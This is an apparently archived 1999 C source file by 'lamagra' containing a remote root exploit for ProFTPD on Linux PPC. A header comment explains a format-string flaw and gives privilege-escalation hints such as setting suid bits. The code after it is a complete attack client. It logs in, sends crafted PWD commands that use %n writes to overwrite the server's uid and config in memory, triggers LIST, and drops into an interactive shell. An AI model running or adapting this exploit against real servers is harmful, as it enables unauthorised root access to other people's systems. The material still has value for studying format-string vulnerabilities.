home *** CD-ROM | disk | FTP | other *** search
- /* PRIVATE Do not distribute PRIVATE
- oktober 1999
-
- pro-ftpd remote exploit (linux ppc)
-
- Bug: Proftpd (<= pre6) passes user commands to snprinft().
- snprintf(argv,len,command + host + etc);
- This makes it possible to insert formatstrings.
- %n: writes the number of chars written to the location pointed to by it's
- argument.
-
- Stack:
- [ user argument ]
- [ other stuff ]
- [ arguments + stack of the snprintf funtion + subfunctions ]
-
- We walk to all that garbage using %u and stop at a certain possition inside
- the usercommand. At that possition is the address that will be overwritten by %n.
-
- Exploit is simple we overwrite the uid and the anonconfig. After a uid change
- by LIST. We are root :-)
-
- Exploit:
- Linuxppc has a bad char (newline) in the address of session.anonconfig.
- This is why I overwrite DenyAll inside the config, But this area in memory
- is allocated and therefore unpredictable on a remote box. This is needed to
- get write access on the server (within the chroot-env).
-
- o Anonymous login: you can overwrite anything in /home/ftp.
- Getting out of the chroot-enviroment is impossible since proftpd
- doesn't use external program (to overwrite).
- hint: use .forward in combination with a suid file.
-
- o Local login: instant root by changing permission to suid.
- hint: SITE CHMOD 6755 <file> (is allowed in proftpd, not in wuftpd)
-
- I plugged this exploit in the ftp program, because this program doesn't have
- data-connection support. Because it's not really needed.
-
- I used this bug to get root on linuxppc but they never gave me credit for it.
-
- I made a x86 exploit too, but i don't have any rpm-addy's. Only my testing vals.
- I heard RH6.x comes with proftpd, anyone wanna let me get the addy's? mail me.
-
- Greets to grue, lockdown, DryGrain
- by lamagra <lamagra@uglypig.org>
-
- http://lamagra.seKure.de
- http://penguin.seKure.de
- */
-
- #include <stdio.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <netdb.h>
-
- #define NUM 150
- #define DEFAULT_OFFSET 0
-
- unsigned long resolve(char *);
- void usage(char *);
- void wait_msg(int);
- void ftplogin(int, char *, char *);
- void shell(int);
-
- extern char *optarg;
- extern int optind;
-
- void main(int argc, char **argv)
- {
- struct sockaddr_in addr;
- int sockfd,i;
- long port=21,*addrptr;
- char c, name[100],pass[100],buf[1024];
-
- /* SET DEFAULTS */
-
- strcpy(name,"ftp");
- strcpy(pass,"h@ck.er");
-
- while((c = getopt(argc,argv,"hn:p:c:")) != EOF)
- {
- switch(c)
- {
- case 'h':
- usage(argv[0]);
- case 'n':
- strncpy(name,optarg,100);
- break;
- case 'p':
- strncpy(pass,optarg,100);
- break;
- case 'c':
- port = atol(optarg);
- }
- }
-
- if((argc - optind) != 1) usage(argv[0]);
-
- bzero(&addr, sizeof(struct sockaddr_in));
- addr.sin_family = AF_INET;
- addr.sin_port = htons(port);
- addr.sin_addr.s_addr = resolve(argv[optind++]);
-
- printf("Connecting.....");
-
- if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1)
- {
- printf("failed\n");
- perror("socket");
- exit(-1);
- }
-
- if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0)
- {
- printf("failed\n");
- perror("connect");
- exit(-1);
- }
-
- #ifdef DEBUG
- sockfd = fileno(stdout);
- #endif
-
- wait_msg(sockfd);
- printf("success\n");
-
- printf("Logging in <%s>:<%s>\n",name,pass);
- ftplogin(sockfd,name,pass);
-
- strcpy(buf,"PWD aaaa");
- /* Overwrite config to allow writing
- * 0x0187e608: session.anon_config, bad char in 0x0187e60a
- * DenyAll is at 0x1885f01 on the box i used for testing
- * It just fucks up the string -> DenyAll isn't found -> default is AllowAll
- */
- buf[8] = 0x01;
- buf[9] = 0x88;
- buf[10] = 0x5f;
- buf[11] = 0x01;
- /* session.disable_idswithing is at 0x187e5ca */
- buf[12] = 0x01;
- buf[13] = 0x87;
- buf[14] = 0xe5;
- buf[15] = 0xca;
- /* Ugly, Ugly / didn't feel like counting :-) */
- strncpy(buf+16,"%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u",NUM);
- strcpy(buf+16+NUM,"%n%n\r\n");
- write(sockfd,buf,strlen(buf));
-
- sleep(1);
-
- /* 0x0187e5cc: session.uid*/
- buf[8] = 0x01;
- buf[9] = 0x87;
- buf[10] = 0xe5;
- buf[11] = 0xcc;
- buf[12] = 0x01;
- buf[13] = 0x87;
- buf[14] = 0xe5;
- buf[15] = 0xce;
- write(sockfd,buf,strlen(buf));
-
- /* 0x187e5d0: session.ouid */
- buf[8] = 0x01;
- buf[9] = 0x87;
- buf[10] = 0xe5;
- buf[11] = 0xd0;
- buf[12] = 0x01;
- buf[13] = 0x87;
- buf[14] = 0xe5;
- buf[15] = 0xd2;
- write(sockfd,buf,strlen(buf));
-
- /* LIST switches uid to session.ouid to bind to port 20 (ftp-data - privelidged port) */
- write(sockfd,"LIST\r\n",6);
-
- /* LIST returns error "No data connection" */
- do
- {
- read(sockfd,buf,sizeof(buf));
- }
- while(strstr(buf,"connection") == NULL);
-
- printf("Opening shell-connection\n");
- shell(sockfd);
-
- printf("THE END\n");
- close(sockfd);
- }
-
- void shell(int sockfd)
- {
- char buf[1024];
- fd_set set;
- int len;
-
- while(1)
- {
- FD_SET(fileno(stdin),&set);
- FD_SET(sockfd,&set);
- select(sockfd+1,&set,NULL,NULL,NULL);
-
- if(FD_ISSET(fileno(stdin),&set))
- {
- memset(buf,NULL,1024);
- fgets(buf,1024,stdin);
- write(sockfd,buf,strlen(buf));
- }
-
- if(FD_ISSET(sockfd,&set))
- {
- memset(buf,NULL,1024);
- if((len = read(sockfd,buf,1024)) == 0)
- {
- printf("EOF.\n");
- exit(-1);
- }
-
- if(len == -1)
- {
- perror("read");
- exit(-1);
- }
- puts(buf);
- }
- }
- }
-
- void ftplogin(int sockfd, char *user,char *passwd)
- {
- char send[500];
-
- memset(send,NULL,500);
- snprintf(send,500,"USER %s\r\n",user);
- write(sockfd,send,strlen(send));
- wait_msg(sockfd);
-
- memset(send,NULL,500);
- snprintf(send,500,"PASS %s\r\n",passwd);
- write(sockfd,send,strlen(send));
- wait_msg(sockfd);
- return;
- }
-
- void wait_msg(int sockfd)
- {
- char c;
-
- while(read(sockfd,(char *)&c,sizeof(char)) > 0)
- {
- if(c == '\n') break;
- }
- }
-
- unsigned long resolve(char *hostname)
- {
- struct hostent *hp;
- unsigned long ip;
-
- if((ip = inet_addr(hostname)) == -1)
- {
- if((hp = gethostbyname(hostname)) == NULL)
- {
- printf("Can't resolve hostname <%s>.\n",hostname);
- exit(-1);
- }
- memcpy(&ip,hp->h_addr,4);
- }
- return ip;
- }
-
- void usage(char *name)
- {
- printf("Usage: %s <host> [-n name] [-p pass] [-c port]\n",name);
- exit(-1);
- }
- /* www.hack.co.za [23 Feb 2000]*/